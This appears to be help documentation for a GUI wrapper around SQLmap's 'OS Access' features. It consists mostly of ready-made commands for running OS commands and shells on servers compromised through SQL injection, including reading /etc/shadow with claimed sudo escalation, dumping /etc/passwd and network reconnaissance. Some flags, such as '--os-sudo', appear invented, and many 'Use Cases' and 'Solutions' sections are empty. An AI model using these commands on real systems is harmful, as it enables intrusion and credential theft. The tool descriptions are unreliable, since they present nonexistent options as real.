The OS Access tab controls how SQLmap executes operating system commands on the target database server, providing shell-like access and system administration capabilities.
The OS Access tab contains three main sections:
Parameter: --os-cmd=COMMAND
Description: Execute a single OS command on the target server
Examples:
--os-cmd="whoami"
--os-cmd="id"
--os-cmd="uname -a"
--os-cmd="net user"
--os-cmd="ps aux"
Use Cases:
Parameter: --os-cmd="COMMAND1 && COMMAND2"
Description: Execute multiple commands using shell operators
Examples:
--os-cmd="whoami && id && uname -a"
--os-cmd="cat /etc/passwd | grep root"
--os-cmd="netstat -tlnp | grep LISTEN"
--os-cmd="find /var/www -name *.php"
Use Cases:
Parameter: --os-shell
Description: Spawn an interactive shell on the target server
Behavior: Provides persistent shell access
Use Cases:
Parameter: --os-shell=/bin/bash
Description: Specify shell interpreter to use
Examples:
/bin/bash (Linux default)
/bin/sh (POSIX shell)
/bin/zsh (Z shell)
cmd.exe (Windows Command Prompt)
powershell.exe (Windows PowerShell)
Use Cases:
Parameter: --sql-query=QUERY
Description: Execute raw SQL queries
Examples:
--sql-query="SELECT * FROM users"
--sql-query="SELECT @@version"
--sql-query="SELECT user()"
--sql-query="SHOW TABLES"
Use Cases:
Parameter: --sql-file=FILE
Description: Execute SQL statements from a file
Examples:
--sql-file=./queries.sql
--sql-file=/path/to/admin_queries.sql
--sql-file=C:\queries\extract_data.sql
Use Cases:
Parameter: --os-sudo
Description: Execute commands with elevated privileges
Behavior: Attempts to use sudo or similar privilege escalation
Examples:
--os-sudo --os-cmd="whoami"
--os-sudo --os-cmd="cat /etc/shadow"
--os-sudo --os-shell
Use Cases:
Parameter: --os-cmd="SYSTEM_INFO_COMMAND"
Description: Gather comprehensive system information
Common Commands:
# Linux/Unix
uname -a # System information
id # Current user identity
whoami # Current username
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes
ps aux # Running processes
netstat -tlnp # Network connections
df -h # Disk usage
free -h # Memory usage
lsb_release -a # Distribution info
# Windows
whoami # Current user
whoami /priv # User privileges
net user # User accounts
net localgroup administrators # Admin group
tasklist # Running processes
netstat -ano # Network connections
systeminfo # System information
wmic os get caption # OS version
Parameter: --os-cmd="NETWORK_COMMAND"
Description: Gather network information and configuration
Examples:
# Linux
ifconfig # Network interfaces
route -n # Routing table
arp -a # ARP table
iptables -L # Firewall rules
cat /etc/hosts # Hosts file
cat /etc/resolv.conf # DNS configuration
# Windows
ipconfig /all # Network configuration
route print # Routing table
arp -a # ARP table
netsh firewall show config # Firewall rules
type C:\Windows\System32\drivers\etc\hosts
OS Command: whoami
Generated Command:
sqlmap -u "http://example.com/page.php?id=1" --os-cmd="whoami"
Interactive Shell: ✓ Enabled
Shell: /bin/bash
Generated Command:
sqlmap -u "http://example.com/admin.php?id=1" --os-shell
OS Command: cat /etc/shadow
Sudo: ✓ Enabled
Generated Command:
sqlmap -u "http://example.com/root.php?id=1" --os-sudo --os-cmd="cat /etc/shadow"
OS Command: uname -a && id && whoami && cat /etc/passwd | head -10
Generated Command:
sqlmap -u "http://example.com/recon.php?id=1" --os-cmd="uname -a && id && whoami && cat /etc/passwd | head -10"
OS Command: whoami && whoami /priv && systeminfo
Generated Command:
sqlmap -u "http://example.com/win.php?id=1" --os-cmd="whoami && whoami /priv && systeminfo"
OS Command: netstat -tlnp && iptables -L && cat /etc/hosts
Generated Command:
sqlmap -u "http://example.com/net.php?id=1" --os-cmd="netstat -tlnp && iptables -L && cat /etc/hosts"
OS Command: find /var/www -name "*.php" -type f | head -20
Generated Command:
sqlmap -u "http://example.com/files.php?id=1" --os-cmd="find /var/www -name \"*.php\" -type f | head -20"
Problem: Commands failing with “command not found” Solutions:
/bin/ls
instead of ls
echo $PATH
Problem: Commands failing due to insufficient permissions Solutions:
id
or whoami
--os-sudo
Problem: Interactive shell failing to start Solutions:
--os-shell=/bin/sh
Problem: Command output not displaying correctly Solutions:
command > /tmp/output
command | head -20
Problem: Commands timing out before completion Solutions:
Problem: Windows commands not working as expected Solutions: